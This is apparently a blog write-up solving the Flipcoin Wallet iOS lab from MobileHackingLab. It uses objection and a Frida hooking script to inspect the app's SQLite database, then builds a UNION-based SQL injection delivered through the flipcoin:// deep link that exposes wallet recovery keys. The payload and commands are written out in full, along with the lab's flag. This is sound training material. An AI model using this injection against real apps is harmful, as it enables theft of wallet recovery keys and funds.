Skip to content

Write-up: MobileHackingLab - Flipcoin Wallet

Updated: at 04:10 PM

Introduction

In this post I will demonstrate how to solve the Flipcoin Wallet iOS SQL injection lab from MobileHackingLab.

Flipcoin Wallet is a iOS lab from MobileHackingLab where you exploit a SQL injection vulnerability in the application to gain access to the recovery keys for multiple wallets.

Throughout this post you might see me use the identifier nel.willie.HelloWorld - The reason for this is that I changed the configuration profile of the original IPA file and resigned it. Depending on your setup your bundle identifier will be something different.


Methodology

Some areas of interest:


Manual testing

Out of the 6 screens available in the application only two of them provided useful information.

Receive screen

The Receive screen contains a QR code. When scanning this QR code you will find the following information embedded in the code:

http://flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1

This looks like a deep link and contains an amount and wallet address. Save this information, you will need it later.

Flipcoin Wallet receive screen.

Send screen

The send screen contains some input fields and then displays a balance and wallet address.

Current Balance: 0.3654 in 0x252B2Fff0d264d946n1004E581bb0a46175DC009

Flipcoin Wallet send screen.

Database extraction

For this section, you will use objection to navigate the device filesystem, locate the SQLite database, and download it.

Run objection in explore mode:

objection -g "nel.willie.HelloWorld" explore
# Checking for a newer version of objection...
# Using USB device `iPhone`
# Agent injected and responds ok!

#      _   _         _   _
#  ___| |_|_|___ ___| |_|_|___ ___
# | . | . | | -_|  _|  _| | . |   |
# |___|___| |___|___|_| |_|___|_|_|
#       |___|(object)inject(ion) v1.11.0

#      Runtime Mobile Exploration
#         by: @leonjza from @sensepost

# [tab] for command suggestions
# nel.willie.HelloWorld on (iPhone: 17.5.1) [usb] #

Check the environment to find potential areas where the database might be stored:

nel.willie.HelloWorld on (iPhone: 17.5.1) [usb] # env
# Name               Path
# -----------------  ---------------------------------------------------------------------------------------------------
# BundlePath         /private/var/containers/Bundle/Application/70ED97A9-0DA2-495D-AF88-CA8CC7987CDA/Flipcoin Wallet.app
# CachesDirectory    /var/mobile/Containers/Data/Application/D6739C0C-657B-4EDD-BA38-889B402A7E88/Library/Caches
# DocumentDirectory  /var/mobile/Containers/Data/Application/D6739C0C-657B-4EDD-BA38-889B402A7E88/Documents
# LibraryDirectory   /var/mobile/Containers/Data/Application/D6739C0C-657B-4EDD-BA38-889B402A7E88/Library

After enumerating the above locations the database is found in the DocumentDirectory:

nel.willie.HelloWorld on (iPhone: 17.5.1) [usb] # ls /var/mobile/Containers/Data/Application/D6739C0C-657B-4EDD-BA38-889B402A7E88/Documents
# NSFileType  Perms  NSFileProtection                      Read  Write  Owner         Group         Size      Creation                   Name
# ----------  -----  ------------------------------------  ----  -----  ------------  ------------  --------  -------------------------  -------------------------
# Regular       420  CompleteUntilFirstUserAuthentication  True  True   mobile (501)  mobile (501)  12.0 KiB  2024-07-19 14:50:56 +0000  your_database_name.sqlite

Download the file to your local machine so that you can interact with it and see what type of data it contains:

nel.willie.HelloWorld on (iPhone: 17.5.1) [usb] # file download /var/mobile/Containers/Data/Application/D6739C0C-657B-4EDD-BA38-889B402A7E88/Documents/your_database_name.sqlite
# Downloading /var/mobile/Containers/Data/Application/D6739C0C-657B-4EDD-BA38-889B402A7E88/Documents/your_database_name.sqlite to your_database_name.sqlite
# Streaming file from device...
# Writing bytes to destination...
# Successfully downloaded /var/mobile/Containers/Data/Application/D6739C0C-657B-4EDD-BA38-889B402A7E88/Documents/your_database_name.sqlite to your_database_name.sqlite

Now that you have the database you can open it with the sqlite3 command:

sqlite3 your_database_name.sqlite
# SQLite version 3.43.2 2023-10-10 13:08:14
# Enter ".help" for usage hints.
# sqlite>

To see which tables are available you can use the .tables command:

sqlite> .tables
# wallet

Check the wallet table schema to see what fields it contains:

sqlite> pragma table_info('wallet');
# 0|id|INTEGER|0||1
# 1|address|TEXT|0||0
# 2|currency|FLOAT|0||0
# 3|amount|FLOAT|0||0
# 4|recovery_key|TEXT|0||0

Browse the data:

sqlite> SELECT * FROM wallet;
# 1|0x252B2Fff0d264d946n1004E581bb0a46175DC009|flipcoin|0.3654|FLAG{fl1p_d4_c01nz}}
# 2|1W5vKAAKmBAjjtpCkGZREjgEGjrbwERND|bitcoin|15.26|BATTLE TOADS WRITING POEMS

Application -> Database interaction

The next step is to see how the application interacts with the database.

To achieve this you can use Frida with a hooking script that will intercept any calls to the sqlite3_prepare* functions of the sqlite3 module.

When the application runs a SQL query the hooked functions will print out the SQL statement that the application sent it.

The following script can be used to hook the functions for the sqlite3 module:

// log-sqlite.js

const FUNCTIONS_TO_INTERCEPT = [
  "sqlite3_prepare",
  "sqlite3_prepare_v2",
  "sqlite3_prepare_v3",
  "sqlite3_prepare16",
  "sqlite3_prepare16_v2",
  "sqlite3_prepare16_v3",
];

FUNCTIONS_TO_INTERCEPT.forEach(function (name) {
  var function_to_intercept = Module.findExportByName("libsqlite3.dylib", name);
  attachInterceptor(function_to_intercept);
});

function attachInterceptor(functionToAttach) {
  Interceptor.attach(functionToAttach, {
    onEnter: function (args) {
      var sqlite3_stmt = args[1];
      console.log("SQL: " + sqlite3_stmt.readCString());
    },
    onLeave: function (retval) {},
  });
}

Run Frida and specify the application identifier and hooking script location:

frida -U -f "nel.willie.HelloWorld" -l log-sqlite.js
#      ____
#     / _  |   Frida 16.3.3 - A world-class dynamic instrumentation toolkit
#    | (_| |
#     > _  |   Commands:
#    /_/ |_|       help      -> Displays the help system
#    . . . .       object?   -> Display information about 'object'
#    . . . .       exit/quit -> Exit
#    . . . .
#    . . . .   More info at https://frida.re/docs/home/
#    . . . .
#    . . . .   Connected to iPhone (id=00008110-001819DC2160401E)
# Spawned `nel.willie.HelloWorld`. Resuming main thread!
# [iPhone::nel.willie.HelloWorld ]->

When opening the Send Screen on the device you should see the following output in Frida:

# [iPhone::nel.willie.HelloWorld ]-> SQL: INSERT OR IGNORE INTO wallet
# (
#     id,
#     address,
#     currency,
#     amount,
#     recovery_key
# ) VALUES
# (1, "0x252B2Fff0d264d946n1004E581bb0a46175DC009", "flipcoin", 0.3654, "FLAG{fl1p_d4_c01nz}}"),
# (2, "1W5vKAAKmBAjjtpCkGZREjgEGjrbwERND", "bitcoin", 15.26, "BATTLE TOADS WRITING POEMS");
# SQL: SELECT * FROM wallet LIMIT 1;

The last statement is particularly interesting: SQL: SELECT * FROM wallet LIMIT 1;

This statement is the one that fetches the data to display on the Send Screen:

Flipcoin Wallet send screen.

Deep links are links with a certain schema that is associated with your application.

They work similarly to hyperlinks on the web but instead of opening a webpage, they will open up a specific application/screen.

While performing manual testing you already discovered a deep link in the QR code on the Receive Screen.

http://flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1

To interact with deep links you can either manually paste it into the system browser or you can interact with it using a tool like Frida.

Since you are going to be testing various payloads it will be a lot easier to work from the CLI.

There is an excellent script already available on Frida CodeShare that you can use.

This script will allow you to perform various actions but the most relevant ones for this section will be getSchemes() and openURL().

After saving the file locally you can run Frida and specify the application identifier and hooking script location:

frida -U -f "nel.willie.HelloWorld" -l ios-deeplink.js
#      ____
#     / _  |   Frida 16.3.3 - A world-class dynamic instrumentation toolkit
#    | (_| |
#     > _  |   Commands:
#    /_/ |_|       help      -> Displays the help system
#    . . . .       object?   -> Display information about 'object'
#    . . . .       exit/quit -> Exit
#    . . . .
#    . . . .   More info at https://frida.re/docs/home/
#    . . . .
#    . . . .   Connected to iPhone (id=00008110-001819DC2160401E)
# Spawned `nel.willie.HelloWorld`. Resuming main thread!
# [iPhone::nel.willie.HelloWorld ]->
# URL Scheme Name: nel.willie.HelloWorld
# URL Schemes: [flipcoin]

From the above output, you can see that the script detected the flipcoin schema for the application.

Now try opening up the deep link from the CLI:

[iPhone::nel.willie.HelloWorld ]-> openURL("http://flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1")
# true

On the device, you can see something happened but it seems to have encountered a problem.

Flipcoin Wallet deep link screen.

Since the application is expecting flipcoin:// and not http://flipcoin:// it did not associate with the link and the system browser was opened instead.

To fix this you can open the deep link with the correct schema:

[iPhone::nel.willie.HelloWorld ]-> openURL("flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1")

This fixed the issue but there is a new error message on the device.

Flipcoin Wallet deep link screen error.

Try changing the amount field in the deep link to something less than 1 to see if it changes anything:

[iPhone::nel.willie.HelloWorld ]-> openURL("flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=-1")

It worked. The deep link opens the Send Screen with the information from the link pre-populated (wallet address and amount).

It also displays some information about the wallet at the bottom - the address and the balance.

Flipcoin Wallet deep link screen success.

To verify how the deep link, send screen, and database interact with one another you can start Frida with both hooking scripts:

frida -U -f "nel.willie.HelloWorld" -l log-sqlite.js -l ios-deeplink.js
#      ____
#     / _  |   Frida 16.3.3 - A world-class dynamic instrumentation toolkit
#    | (_| |
#     > _  |   Commands:
#    /_/ |_|       help      -> Displays the help system
#    . . . .       object?   -> Display information about 'object'
#    . . . .       exit/quit -> Exit
#    . . . .
#    . . . .   More info at https://frida.re/docs/home/
#    . . . .
#    . . . .   Connected to iPhone (id=00008110-001819DC2160401E)
# Spawned `nel.willie.HelloWorld`. Resuming main thread!
# [iPhone::nel.willie.HelloWorld ]->
# URL Scheme Name: nel.willie.HelloWorld
# URL Schemes: [flipcoin]
# [iPhone::nel.willie.HelloWorld ]->
# [iPhone::nel.willie.HelloWorld ]->

Now when a deep link is opened it will print out the SQL that the application executes on the Send Screen.

[iPhone::nel.willie.HelloWorld ]-> openURL("flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=-1")
# true
# [iPhone::nel.willie.HelloWorld ]-> SQL: INSERT OR IGNORE INTO wallet
# (
#     id,
#     address,
#     currency,
#     amount,
#     recovery_key
# ) VALUES
# (1, "0x252B2Fff0d264d946n1004E581bb0a46175DC009", "flipcoin", 0.3654, "FLAG{fl1p_d4_c01nz}}"),
# (2, "1W5vKAAKmBAjjtpCkGZREjgEGjrbwERND", "bitcoin", 15.26, "BATTLE TOADS WRITING POEMS");
# SQL: SELECT * FROM wallet WHERE amount >-1 AND currency='flipcoin' LIMIT 1;
# SQL: PRAGMA user_version
# SQL: SELECT r.version, r.storage_policy, b.response_object, b.proto_props, d.isDataOnFS, d.receiver_data, b.request_object, b.user_info, r.time_stamp FROM cfurl_cache_response r, cfurl_cache_blob_data b, cfurl_cache_receiver_data d WHERE r.request_key=? AND b.entry_ID=r.entry_ID AND b.entry_ID=d.entry_ID;
# SQL: SELECT * from alt_services WHERE host = ? AND partition = ? AND port = ? AND expires_time > strftime('%s','now')
# SQL: DELETE FROM alt_services WHERE expires_time < strftime('%s','now')
# SQL: DELETE FROM alt_services WHERE ROWID in (SELECT ROWID FROM alt_services ORDER BY ROWID DESC LIMIT -1 OFFSET 1500)
# SQL: INSERT OR IGNORE INTO wallet
# (
#     id,
#     address,
#     currency,
#     amount,
#     recovery_key
# ) VALUES
# (1, "0x252B2Fff0d264d946n1004E581bb0a46175DC009", "flipcoin", 0.3654, "FLAG{fl1p_d4_c01nz}}"),
# (2, "1W5vKAAKmBAjjtpCkGZREjgEGjrbwERND", "bitcoin", 15.26, "BATTLE TOADS WRITING POEMS");

A lot is happening here but the part you are most interested in is the query that populates the information on the Send Screen.

SELECT * FROM wallet WHERE amount >-1 AND currency='flipcoin' LIMIT 1;

The easiest way to test that your injection works is to add the known address to the deep link and to see if it reflects in the query:

[iPhone::nel.willie.HelloWorld ]-> openURL("flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=-1 AND address='0x252B2Fff0d264d946n1004E581bb0a46175DC009'");
# ...
SQL: SELECT * FROM wallet WHERE amount >-1 AND address='0x252B2Fff0d264d946n1004E581bb0a46175DC009' AND currency='flipcoin' LIMIT 1;
# ...

As you can see the address field is successfully injected into the query.

This query is vulnerable to a SQL Injection attack on the amount field and since you have control over that through the deep link you should be able to exploit it.

Payload creation

The purpose of the payload is to modify the existing SQL query in such a way that the application still works and also displays the exfiltrated information on the device.

Let’s figure out what structure the query will need for it to be successful.

The Send Screen uses the following query:

SELECT * FROM wallet WHERE amount >-1 AND currency='flipcoin' LIMIT 1;
--1|0x252B2Fff0d264d946n1004E581bb0a46175DC009|flipcoin|0.3654|FLAG{fl1p_d4_c01nz}}

Which results in the following being displayed on the device:

Current Balance: 0.3654 in 0x252B2Fff0d264d946n1004E581bb0a46175DC009

From this you can infer that:

If you wanted something else to be displayed on this screen you would have to change the original select statement which is not possible.

Since you don’t have control over the original query selection you can try to specify a new query.

This can be achieved by using a UNION operator.

The UNION operator allows you to combine result sets of two queries into a single result set.

So the idea is that you use the original query, specify a new query as well and then combine the two but display your result FIRST.

Let’s experiment with this:

SELECT * FROM wallet WHERE amount >-1 AND currency='flipcoin'
   ...> UNION
   ...> SELECT * FROM wallet WHERE amount >-1 AND currency!='flipcoin';
-- 1|0x252B2Fff0d264d946n1004E581bb0a46175DC009|flipcoin|0.3654|FLAG{fl1p_d4_c01nz}}
-- 2|1W5vKAAKmBAjjtpCkGZREjgEGjrbwERND|bitcoin|15.26|BATTLE TOADS WRITING POEMS

The first select statement will select all columns where the amount is greater than -1 and the currency is flipcoin.

The second select statement will select all columns where the amount is greater than -1 and the currency is NOT flipcoin.

Since you have full control over the second query you can also tell it which columns to select:

SELECT * FROM wallet WHERE amount >-1 AND currency='flipcoin'
   ...> UNION
   ...> SELECT recovery_key, currency, amount, "address", id FROM wallet WHERE amount >-1 AND currency!='flipcoin';
-- 1|0x252B2Fff0d264d946n1004E581bb0a46175DC009|flipcoin|0.3654|FLAG{fl1p_d4_c01nz}}
-- BATTLE TOADS WRITING POEMS|bitcoin|15.26|1W5vKAAKmBAjjtpCkGZREjgEGjrbwERND|2

Doing this demonstrated that it is possible to change the column order of the second query you have control over.

Let’s go back to the original query:

SELECT * FROM wallet WHERE amount >-1 AND currency='flipcoin' LIMIT 1;

The problem with this query is that once you inject the payload after the amount field the rest of the query will still be executed and that will include the LIMIT 1.

This will prevent you from gaining access to the information in your new query since it will always select the first item in the combined results which is the original query.

To get around this issue you can use the ORDER BY clause in SQL which allows you to specify in which order you want to results to be displayed.

Before:

SELECT * FROM wallet WHERE amount >-1 AND currency='flipcoin'
   ...> UNION
   ...> SELECT * FROM wallet WHERE amount >-1 AND currency!='flipcoin'
   ...> LIMIT 1;
-- 1|0x252B2Fff0d264d946n1004E581bb0a46175DC009|flipcoin|0.3654|FLAG{fl1p_d4_c01nz}}

After:

SELECT * FROM wallet WHERE amount >-1 AND currency='flipcoin'
   ...> UNION
   ...> SELECT * FROM wallet WHERE amount >-1 AND currency!='flipcoin'
   ...> ORDER BY 1 DESC
   ...> LIMIT 1;
-- 2|1W5vKAAKmBAjjtpCkGZREjgEGjrbwERND|bitcoin|15.26|BATTLE TOADS WRITING POEMS

As observed you can now control the order of the results which allows you to prioritize it over the original query results.

It’s time to create the final query, which will consist of:

Let’s try it out:

SELECT * FROM wallet WHERE amount >-1 AND currency='flipcoin'
   ...> UNION
   ...> SELECT '', group_concat('Address: ' || address || ', Recovery: '|| recovery_key) , '', '', '' FROM wallet
   ...> ORDER BY 1 DESC
   ...> LIMIT 1;
-- |Address: 0x252B2Fff0d264d946n1004E581bb0a46175DC009, Recovery: FLAG{fl1p_d4_c01nz}},Address: 1W5vKAAKmBAjjtpCkGZREjgEGjrbwERND, Recovery: BATTLE TOADS WRITING POEMS|||

Now to modify the deep link to inject the payload to generate the desired SQL statement that is needed:

flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=-1 AND currency='flipcoin' UNION SELECT '', group_concat('Address: ' || address || ', Recovery: '|| recovery_key) , '', '', '' FROM wallet ORDER BY 1 DESC LIMIT 1;--

[iPhone::nel.willie.HelloWorld ]-> openURL("flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=-1 AND currency='flipcoin' UNION SELECT '', group_concat('Address: ' || address || ', Recovery: '|| recovery_key) , '', '', '' FROM wallet ORDER BY 1 DESC LIMIT 1;--");
# ...
SQL: SELECT * FROM wallet WHERE amount >-1 AND currency='flipcoin' UNION SELECT '', group_concat('Address: ' || address || ', Recovery: '|| recovery_key) , '', '', '' FROM wallet ORDER BY 1 DESC LIMIT 1;-- AND currency='flipcoin' LIMIT 1;
# ...

The final output on the Send Screen is:

Current Balance: 0.0 in Address: 0x252B2Fff0d264d946n1004E581bb0a46175DC009, Recovery: FLAG{fl1p_d4_c01nz}},Address: 1W5vKAAKmBAjjtpCkGZREjgEGjrbwERND, Recovery: BATTLE TOADS WRITING POEMS

Since the label is very small you might have to scroll to see the entire result.

Flipcoin Wallet send screen.

Final thoughts

Even though SQL Injection is a very common type of attack there are various ways of preventing it these days.

Most languages and frameworks provide built-in functions to protect against SQL injection in the form of input sanitation or prepared statements.

As an extra precaution, you can also run a SAST tool on your source code to see if it finds code that might be vulnerable to SQL injection attacks.